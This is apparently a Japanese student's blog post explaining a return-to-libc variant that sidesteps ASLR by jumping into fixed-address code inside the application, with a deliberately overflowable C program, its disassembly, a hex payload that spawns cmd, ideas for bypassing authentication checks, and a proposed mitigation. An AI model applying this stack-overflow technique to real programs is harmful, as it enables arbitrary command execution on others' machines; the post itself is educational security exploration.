久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち な み に 文 系 は あ り ま せ ん 。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。
とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらスマソ。
return-to-libc攻撃とASLR
まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。
イメージとしてはこんな感じ
関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。
Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1
アドレスが毎回変わらない関数
しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。(確かPEヘッダで指定するんだったっけ?)
なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…?いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…?
Windows Vista / Windows 7 Starter(32ビット)で確認できた実演デモ
本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。
■ダウンロード
Vista Businessと 7 Starter(どちらも32ビット)で動作を確認しています。
2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista(どちらも32ビット)で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね!
■スクリーンショット
こんな感じでシェルが実行されます。
■コードの解説
まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。
#include#include #include void exec(){ //何かの処理 fprintf(stdout,"debug message\n"); //外部アプリケーションの実行 system("ipconfig"); } int main(int argc, char* argv[]){ //ファイルの中を表示するだけのクソプログラム FILE* file = fopen("data.dat","rb"); //ファイルサイズを取得 fseek( file, 0, SEEK_END ); int size = ftell( file ); fprintf(stdout,"file size: %d\n", size); fseek( file, 0, SEEK_SET ); //ファイルサイズ分だけコピー。ここでオーバーフロー。 char dst[40]; fread(dst,size,1,file); //ここでfileにNULLを代入してもクラッシュはしない fclose(file); fprintf(stdout,"content: %s\n", dst); return 0; }
上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。
■逆アセンブルコード
■exec関数
00401318 /. 55 PUSH EBP 00401319 |. 89E5 MOV EBP,ESP 0040131B |. 83EC 18 SUB ESP,18 0040131E |. A1 14414000 MOV EAX,DWORD PTR DS:[<&msvcrt._iob>] ; || 00401323 |. 83C0 20 ADD EAX,20 ; || 00401326 |. 894424 0C MOV DWORD PTR SS:[ESP+C],EAX ; || 0040132A |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E ; || 00401332 |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1 ; || 0040133A |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030 ; ||ASCII "debug message" 00401341 |. E8 26070000 CALL <JMP.&msvcrt.fwrite> ; |\fwrite 00401346 |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F ; |ASCII "ipconfig" /** main関数をここへリターンさせる! **/ 0040134D |. E8 22070000 CALL <JMP.&msvcrt.system> ; \system 00401352 |. C9 LEAVE 00401353 \. C3 RETN
■main関数
00401354 /$ 55 PUSH EBP 00401355 |. 89E5 MOV EBP,ESP 00401357 |. 83E4 F0 AND ESP,FFFFFFF0 0040135A |. 83EC 40 SUB ESP,40 0040135D |. E8 CE040000 CALL target.00401830 00401362 |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb" 0040136A |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B ; ||||||||ASCII "data.dat" 00401371 |. E8 06070000 CALL <JMP.&msvcrt.fopen> ; |||||||\fopen (中略) 00401401 |. E8 8E060000 CALL <JMP.&msvcrt.fread> ; ||\fread 00401406 |. 8B4424 38 MOV EAX,DWORD PTR SS:[ESP+38] ; || 0040140A |. 890424 MOV DWORD PTR SS:[ESP],EAX ; || 0040140D |. E8 8A060000 CALL <JMP.&msvcrt.fclose> ; |\fclose 00401412 |. A1 14414000 MOV EAX,DWORD PTR DS:[<&msvcrt._iob>] ; | 00401417 |. 8D50 20 LEA EDX,DWORD PTR DS:[EAX+20] ; | 0040141A |. 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10] ; | 0040141E |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX ; | 00401422 |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s" 0040142A |. 891424 MOV DWORD PTR SS:[ESP],EDX ; | 0040142D |. E8 72060000 CALL <JMP.&msvcrt.fprintf> ; \fprintf 00401432 |. B8 00000000 MOV EAX,0 00401437 |. C9 LEAVE 00401438 \. C3 RETN
■攻撃コード
7468 6973 this 2064 6174 dat 6120 6973 a is 2061 2073 a s 6865 6c6c hell 636f 6465 code 2c20 6861 , ha 6861 2e00 ha.. 0000 0000 .... 0000 0000 ....
最初の40バイトはバッファにあふれない分のデータです。
何かメッセージが出ないと寂しいので、文章を書き込んであります。
0000 0000 .... //上書きされる"file"の値(注意:fclose(NULL)はエラーにならない) 0000 0000 .... //上書きされる"size"の値 0000 0000 .... // 作業用領域(freadの後には使われない) 0000 0000 .... // 作業用領域(freadの後には使われない) 0000 0000 .... // "leave"命令で使われる、EBPに代入されるアドレス(適当でいい) 4d13 4000 M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ
関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。
リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。
以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。
38ff 2200 8.". //下の文字列"cmd"へのポインタ 0000 0000 .... 636d 6400 cmd. 0000 0000 ....
スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。
libcに限らず、実行できてはいけない処理が意図しないタイミングで実行される
この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。
- 今回のように、アプリケーション内で呼ばれているAPI(たとえばsystem())に戻って任意のコマンドを実行する
- パスワードやらなにやらの認証機構で保護されている処理を無理やり呼び出す
- WinGrooveのコピートラップ関数を呼び出す(笑)
Linuxではさらに制限が掛かる
linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。
上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです:
$ ./stack addr of "size": bfb5de08 $ ./stack addr of "size": bfec2a58 $ ./stack addr of "size": bfbc6288
このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。
とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。
出来そうな対策は?
- DLLだけでなく、アプリのロード先も毎回ランダムにする
これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな?
誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー
実演動画作ってニコニコ動画に上げます!(流石に公開はしない)